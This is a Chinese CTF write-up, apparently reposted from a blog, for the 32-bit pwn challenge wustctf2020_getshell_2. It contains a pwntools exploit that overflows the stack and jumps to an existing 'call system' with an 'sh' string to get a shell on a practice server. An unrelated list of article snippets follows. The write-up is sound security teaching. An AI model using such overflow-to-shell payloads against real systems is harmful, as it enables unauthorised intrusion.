wustctf2020_getshell_2

news/2025/3/1 0:35:16/文章来源:https://www.cnblogs.com/fdddddd/p/18744387

看到shell函数,可以直接找sh字符
image
ROPgadget --binary wustctf2020_getshell_2 --string "sh"
image
算一下可以发现只溢出返回地址的后一个

exp
from pwn import *
context.log_level='debug'
io = remote('node5.buuoj.cn',29807)
sh=0x08048670
call_sys=0x08048529
payload=cyclic(0x18+4)+p32(call_sys)+p32(sh)
io.sendline(payload)
io.interactive()
之前是p32(system)+p32(0)+p32(sh),现在这个是p32(call_sys)+p32(sh) 因为之前调用的是sys的plt表,现在这个调用的是call_system 不能调用plt因为plt需要返回值,但如果程序中有现成的call函数就可以不用返回值了,因为它会自己把下一条指令给压进去 限制了溢出的字节数,所以无法利用 system_plt 的地址 (因为需要返回地址,这样字节数不够),而 call system 会直接将下一个命令压入栈中,也就避免了在 32 位程序传参前要填入返回地址的麻烦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/891413.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

web开发 辅助学习管理系统开发日记 day5

第五天 坚持就是胜利 Q1:在开发条件分页查询的时候要在controller层把所有的变量类型全都生命出来,注意类型不要声明错误,我因为把Localdate 写成了localdatetime 直接让我找了半个小时bug。 在传递日期参数的时候可以用@DateTimeFormat 的注解指定前端传递日期的格式 Q2:在…

【杭电多校训练记录】2025钉耙编程中国大学生算法设计春季联赛 - 热身赛

训练情况赛后反思 有幸抢到了签到题的一血,据说是去年杭电新生赛,题面写的很神秘,简单题差点不会做了,还被卡常TLE了一发 1008 金牌 签到题,统计Au数量和Ag、Cu数量,因为Ag和Cu能合出来一个Au,所以答案是 Au+min(Ag,cu)点击查看代码 #include <bits/stdc++.h> #de…

k8s部署dashboard kubepi

1. KubePi 简介KubePi 是一个开源的 Kubernetes 多集群管理面板,提供以下核心功能: 多集群管理:支持接入多个 Kubernetes 集群统一管理。 可视化操作:提供资源(Pod、Deployment、Service 等)的创建、删除、监控功能。 权限控制:基于角色的访问控制(RBAC),支持多租户隔…

强大数定律与弱大数定律的区别

先来讲一下弱大数定律吧,这个比较好理解 弱大数定律的标准形式是这样的: \[\forall \epsilon>0,\underset{n\rightarrow\infty}{\lim}P(|\bar{X}_n-\mu|<\epsilon)=1 \]这里注意的是我们的极限符号是包含概率的,我们按照数列极限的定义将其写开: \[\forall \epsilon&…

分布式锁—1.原理算法和使用建议

大纲 1.Redis分布式锁的8大问题 2.Redis的RedLock算法分析 3.基于Redis和zk的分布式锁实现原理 4.Redis分布式锁的问题以及使用建议1.Redis分布式锁的8大问题 (1)非原子操作(set+lua) (2)忘了释放锁(手动+超时) (3)释放了其他线程的锁(lua+唯一值) (4)加锁失败的处理(自旋+睡眠…

理解Rust引用及其生命周期标识(上)

写在前面 作为Rust开发者,你是否还没有完全理解引用及其生命周期?是否处于教程一看就会,但在实际开发过程中不知所措?本文将由浅入深,手把手教你彻底理解Rust引用与生命周期。 关于本文的理解门槛 本文主要面向的是已经基本上了解过Rust这门语言,对引用以及生命周期(及其…

TCP/IP协议栈相关知识

为什么提出TCP/IP参考模型OSI参考模型比较复杂TCP和IP两大协议在网络上广泛使用 三种参考模型如今用的最多的是TCP/IP五层模型,而OSI七层模型更多用于学习。 TCP/IP常见协议要了解协议对应的传输层端口号,因为计算机是通过端口号分辨所使用的是那种协议。 应用层要了解常见协…

Vulkan环境配置 | vscode+msvc 解决方案

Vulkan环境配置 | vscode+msvc 解决方案 前言 如果作为Windows 11侠的你是一个vscode爱好者,凑巧电脑上还安装有Visual Studio,这个时候你突然想配置一个Vulkan开发环境。作为minimalist的你可不希望在电脑上安装任何额外的组件,那么这篇安装指南一定适合你。 准备工作 你需…

mysql索引原理简单说明

本次使用的是mysql5.7.17 首先说下索引中的组合索引,即多个字段组合的索引就叫做组合索引,但是什么时候会生效,什么时候会失效,我不是很清楚 首先建个表造点数据看下情况,CREATE TABLE `bank` (`id` INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT 主键,`bank_end` VARCHAR…

Vulnhub-Troll-1靶机-ftp匿名登录+流量包分析+hydra爆破+ssh登录脚本提权

一、靶机搭建 选择扫描虚拟机选择路径即可二、信息收集 扫ip 靶机ip:192.168.108.144扫开放端口 开放了ftp服务扫版本服务信息信息如下 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) 80/tcp open …

八、(了解即可)MyBatis懒加载(或者叫延迟加载)

八、(了解即可)MyBatis懒加载(或者叫延迟加载)@目录八、懒加载(了解即可)8.1 为啥需要懒加载?8.2 懒加载是什么?8.3 开启方式8.4 既然fetchType可以控制懒加载那么我仅仅配置fetchType不配置全局的可以吗?8.5 aggressiveLazyLoading是做什么么的?8.6 注意点8.7 案例验证懒加…